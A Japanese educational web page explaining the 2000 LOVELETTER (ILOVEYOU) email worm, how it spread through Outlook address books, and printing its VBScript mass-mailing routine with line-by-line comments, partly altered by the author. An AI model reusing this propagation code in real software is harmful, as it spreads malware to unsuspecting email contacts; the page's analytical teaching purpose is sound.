戻る コンピュータウイルス/LOVELETTER



LOVELETTER は、 2000 年 5 月に現れたコンピュータウィルスです。

Outlook のアドレス帳に登録されているメールアドレスすべてに対して、 自分自身 文(ウィルス) を添付したメールを送信します。
メールのタイトルは "ILOVEYOU"、 本文は "kindly check the attached LOVELETTER coming from me."、 添付ファイル名は "LOVE-LETTER-FOR-YOU.TXT.vbs" です。
アドレス帳を使って送信しますから、 受信した人から見て発信者は知人である場合が多く、 安心して添付ファイルを開いて感染、 という巧妙なウィルスです。 たくさんの被害が出て、 新聞などでも報道されてすっかり有名になりました。

私のところにもひとつやってきましたので、 恐いもの見たさで覗いてみると、 次のようになっていました。
メールを送信する部分です (念のため、一部を変更してあります)

for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\"&a,a.AddressEntries.Count end if next


延々と、 改行なしで書かれているので複雑そうですが、 改行してインデントをつけると見やすくなります。
少し赤く表示しているところで件名 (Subject) や本文 (Body)、 添付ファイル (Attachments) をつけて、 メールを送信 (Send) しています。

    for ctrlists=1 to mapi.AddressLists.Count
        set 
        a=mapi.AddressLists(ctrlists)
        x=1
        regv=regedit.RegRead("HKEY_CURRENT_USER\Software\"&a)
        if (regv="") then
            regv=1
        end if
        if (int(a.AddressEntries.Count)>int(regv)) then
            for ctrentries=1 to a.AddressEntries.Count 
                malead=a.AddressEntries(x)
                regad=""
                regad=regedit.RegRead("HKEY_CURRENT_USER\Software\"&malead)
                if (regad="") then
                    set
                    male=out.CreateItem(0)
                    male.Recipients.Add(malead)                                                  ' 宛先のセット
                    male.Subject = "ILOVEYOU"                                                    ' 件名   〃
                    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."    ' 本文   〃
                    male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")               ' 添付ファイル   〃
                    male.Send                                                                    ' 送信
                    regedit.RegWrite "HKEY_CURRENT_USER\Software\"&malead,1,"REG_DWORD"
                end if
                x=x+1
            next
            regedit.RegWrite "HKEY_CURRENT_USER\Software\"&a,a.AddressEntries.Count
        end if
    next
	




情報処理概論 に戻る  目次 に戻る  コンピュータウィルス に戻る  戻る 


自由利用マーク
update: 2013.02.24  address